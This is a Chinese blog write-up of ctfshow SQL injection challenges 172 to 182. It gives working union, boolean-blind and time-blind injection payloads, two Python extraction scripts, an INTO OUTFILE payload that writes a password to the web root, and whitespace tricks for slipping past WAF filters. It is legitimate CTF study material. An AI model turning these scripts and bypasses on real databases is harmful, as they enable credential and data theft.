ctfshow-sql注入-超详解(172-200)

本文详细介绍了多种SQL注入攻击方法及其防御措施,包括基础的MySQL注入、盲注、时间盲注、利用编码和优先级绕过WAF等。通过Python脚本展示了如何利用这些技巧进行注入攻击,同时也揭示了数据库查询语句的弱点和安全防护的重要性。

前言

今天是2021/7/25,正式进入sql注入专题,目标:加强python的学习,达到通过写python脚本,加快注入速度的程度,掌握sql在php编程中的一系列查询语句。

新手区

可以看看Y4师傅以前记录的小笔记
SQL注入之MySQL注入的学习笔记(一)
SQL注入之MySQL注入学习笔记(二)

2021-7-25

web172、web173——hex() 、to_base64()

查询语句

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

//检查结果是否有flag
    if($row->username!=='flag'){
   
   
      $ret['msg']='查询成功';
    }

意思大概就是把flag从查询中给ban掉了

解决方法

利用编码解决:base64、hex

这里针对的是id = '".$_GET['id']."',双引号是包括在内的,可能只是起解析作用

payload

yn8'union select to_base64(username),hex(password) from ctfshow_user2+--+

16进制在线

web174——盲注

查询语句一样(不贴了,占地方)

返回逻辑

//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
   
   
      $ret['msg']='查询成功';
    }

PHP JSON

也就是说返回的结果是不能有flag和任何数字

解决方案

采取盲注并利用二分法来判断

# -*- coding: utf-8 -*-
# @Author  : Yn8rt
# @Time    : 2021/7/25 17:17
# @Function:
import requests
url = "http://cece2e87-a82b-4be3-9a5d-fd78f587916e.challenge.ctf.show:8080/api/v4.php"
flag = ''

for i in range(0,100):  # 创建一个整数列表
    max = 128  # ASCII可见字符
    min = 32
    while 1:
        mid = min+((max-min)//2)  # 取整除 - 向下取接近商的整数
        if min==mid:
            flag+=chr(mid)
            print(flag)
            break
        payload="?id=' union select 'a'," \
                "if(ascii(substr((select group_concat(password) " \
                "from ctfshow_user4 where username='flag'),%d,1))<%d," \
                "'small','da')+--+"%(i,mid)
        res = requests.get(url=url+payload).text
        #print(res)
        if "small" in res:
            max = mid
        else:
            min = mid

2021-7-26

web175——时间盲注

返回逻辑

//检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
   
   
      $ret['msg']='查询成功';
    }

检测\x00-\x7f也就是0-127,所以普通的盲注是不行了

时间盲注测试语句:1'and if(1=1,sleep(2),0)+--+可以

Python 3 字符串前 加 u、r、b 、f的含义

一篇读懂Python中的位运算

方法一

嫁接y4的脚本,比较好理解

import requests

url = "http://6cd84f2d-be07-46cc-bc8e-90b6ff57f72a.challenge.ctf.show:8080/api/v5.php?id=1' and "

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # payload = f'1=if(ascii(substr(database(),{i},1))>{mid},sleep(2),0)+--+'
        # payload = f'1=if(ascii(substr((select table_name from information_schema.tables where table_schema=database()),{i},1))>{mid},sleep(2),0)+--+'
        # payload = f'1=if(ascii(substr((select column_name from information_schema.columns where table_name='ctfshow_user5'),{i},1))>{mid},sleep(2),0)+--+'
        payload = f'1=if(ascii(substr((select  password from ctfshow_user5 limit 24,1),{
     
     i},1))>{
     
     mid},sleep(2),0)+--+'
        try:
            r = requests.get(url + payload, timeout=0.5)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

方法二

利用into outfile来实现文件的输出

?id=1' union select 1,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/1.txt'+--+

web176——大小写绕过

web177-179——空格绕过

除了空格,在代码中可以代替的空白符还有:

%0a
%0b
%0c
%0d
%09
%a0(在特定字符集才能利用)
以上均为URL编码

/**/组合
括号
%23代替注释符 -- 

web180-182——优先级 and > or

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
   
   
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str)
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Yn8rt

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值